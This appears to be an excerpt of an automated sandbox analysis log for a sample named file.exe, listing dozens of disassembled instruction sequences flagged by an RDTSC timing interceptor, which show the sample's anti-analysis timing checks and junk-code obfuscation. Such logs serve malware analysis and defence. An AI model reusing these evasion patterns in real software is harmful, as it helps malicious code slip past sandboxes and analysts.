Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418CFE second address: 1418D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F176074C076h 0x0000000a popad 0x0000000b jng 00007F176074C078h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F176074C078h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov bx, A4FBh 0x00000035 push 00000000h 0x00000037 xchg eax, esi 0x00000038 jne 00007F176074C080h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 jbe 00007F176074C076h 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417EB1 second address: 1417EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418E79 second address: 1418E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CC7F second address: 141CC89 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CC89 second address: 141CC8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CD44 second address: 141CD58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CCFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CD58 second address: 141CD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1A74 second address: 13C1A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CEA7 second address: 141CEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CEAB second address: 141CEB1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14203EE second address: 1420435 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F176074C07Ah 0x00000008 pop eax 0x00000009 jmp 00007F176074C088h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F176074C088h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420435 second address: 142043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CF79 second address: 141CF97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F176074C089h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142043A second address: 142043F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420A39 second address: 1420A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14218A8 second address: 14218B2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14218B2 second address: 1421923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F176074C076h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F176074C078h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007F176074C078h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov dword ptr [ebp+1246353Ah], ecx 0x0000004b xor edi, dword ptr [ebp+122D3694h] 0x00000051 push 00000000h 0x00000053 pushad 0x00000054 add si, 4938h 0x00000059 movzx ecx, bx 0x0000005c popad 0x0000005d xchg eax, esi 0x0000005e push esi 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423BD3 second address: 1423BF8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1760BC2CD8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421B33 second address: 1421B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push esi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423D82 second address: 1423D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420B38 second address: 1420B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425C7C second address: 1425C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424D8B second address: 1424DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F176074C088h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F176074C087h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14282A6 second address: 14282B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425F49 second address: 1425F4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425F4D second address: 1425F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14282B0 second address: 142833A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F176074C07Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F176074C078h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 jmp 00007F176074C081h 0x0000002c jbe 00007F176074C087h 0x00000032 jmp 00007F176074C081h 0x00000037 push 00000000h 0x00000039 jmp 00007F176074C089h 0x0000003e mov edi, dword ptr [ebp+122D1F40h] 0x00000044 push 00000000h 0x00000046 movzx edi, di 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c jng 00007F176074C07Ch 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425F58 second address: 1425F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F1760BC2CC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142833A second address: 142833E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425F69 second address: 1425F7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14284B9 second address: 14284BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14285A3 second address: 14285A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142960C second address: 1429610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142F037 second address: 142F043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1760BC2CC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433B78 second address: 1433B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C083h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F176074C082h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433B99 second address: 1433B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433B9F second address: 1433BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433BA3 second address: 1433BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1760BC2CD4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE5C1 second address: 13BE5C7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BE5C7 second address: 13BE5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F1760BC2CD7h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433760 second address: 1433764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1437F41 second address: 1437F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1437F45 second address: 1437F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F176074C080h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1437F5E second address: 1437FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 js 00007F1760BC2CD8h 0x0000000d jmp 00007F1760BC2CD2h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jno 00007F1760BC2CE2h 0x0000001c mov eax, dword ptr [eax] 0x0000001e push ecx 0x0000001f jnp 00007F1760BC2CDFh 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f pop ecx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1437FD0 second address: 1437FD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14380CF second address: 14380D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14380D3 second address: 14380E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F176074C076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14380E1 second address: 1438106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438106 second address: 143810C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14381C7 second address: 14381CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C6AA second address: 143C6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD8B second address: 143CDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CDA9 second address: 143CDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F176074C076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CF74 second address: 143CF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F1760BC2CC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CF81 second address: 143CF85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CF85 second address: 143CFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1760BC2CC6h 0x00000013 jo 00007F1760BC2CC6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D0AB second address: 143D0B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D0B7 second address: 143D0BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D1F6 second address: 143D207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F176074C076h 0x0000000a jnp 00007F176074C076h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D207 second address: 143D20D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D20D second address: 143D211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D211 second address: 143D23A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1760BC2CCFh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D23A second address: 143D23E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D23E second address: 143D244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D3C2 second address: 143D3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D605 second address: 143D60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D60C second address: 143D61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F176074C076h 0x0000000a jns 00007F176074C076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D7C0 second address: 143D7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441D5F second address: 1441D75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C07Ch 0x00000007 jne 00007F176074C082h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441D75 second address: 1441D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441D7B second address: 1441DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F176074C078h 0x0000000e pushad 0x0000000f jmp 00007F176074C080h 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14421A4 second address: 14421E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD1h 0x00000009 jmp 00007F1760BC2CCFh 0x0000000e popad 0x0000000f jmp 00007F1760BC2CD8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14421E1 second address: 1442200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F176074C089h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442200 second address: 1442221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F1760BC2CD8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442366 second address: 14423A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C085h 0x00000009 jmp 00007F176074C082h 0x0000000e popad 0x0000000f jmp 00007F176074C07Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14423A0 second address: 14423BF instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1760BC2CDAh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442677 second address: 1442689 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F176074C078h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F176074C076h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442689 second address: 144268D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144268D second address: 144269F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F176074C0B9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144269F second address: 14426A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442812 second address: 1442817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442817 second address: 1442823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1760BC2CC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14429B7 second address: 14429C5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F176074C076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14429C5 second address: 14429D2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442B38 second address: 1442B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F176074C076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1442B42 second address: 1442B48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2745 second address: 13D274B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D274B second address: 13D2756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14417D1 second address: 14417D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448B09 second address: 1448B13 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1760BC2CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448B13 second address: 1448B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448B1B second address: 1448B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C69E4 second address: 13C69E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447838 second address: 1447841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447841 second address: 144785B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F176074C076h 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007F176074C076h 0x00000011 popad 0x00000012 jng 00007F176074C07Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144785B second address: 1447883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1760BC2CCCh 0x0000000e jl 00007F1760BC2CD4h 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007F1760BC2CCCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447883 second address: 1447889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
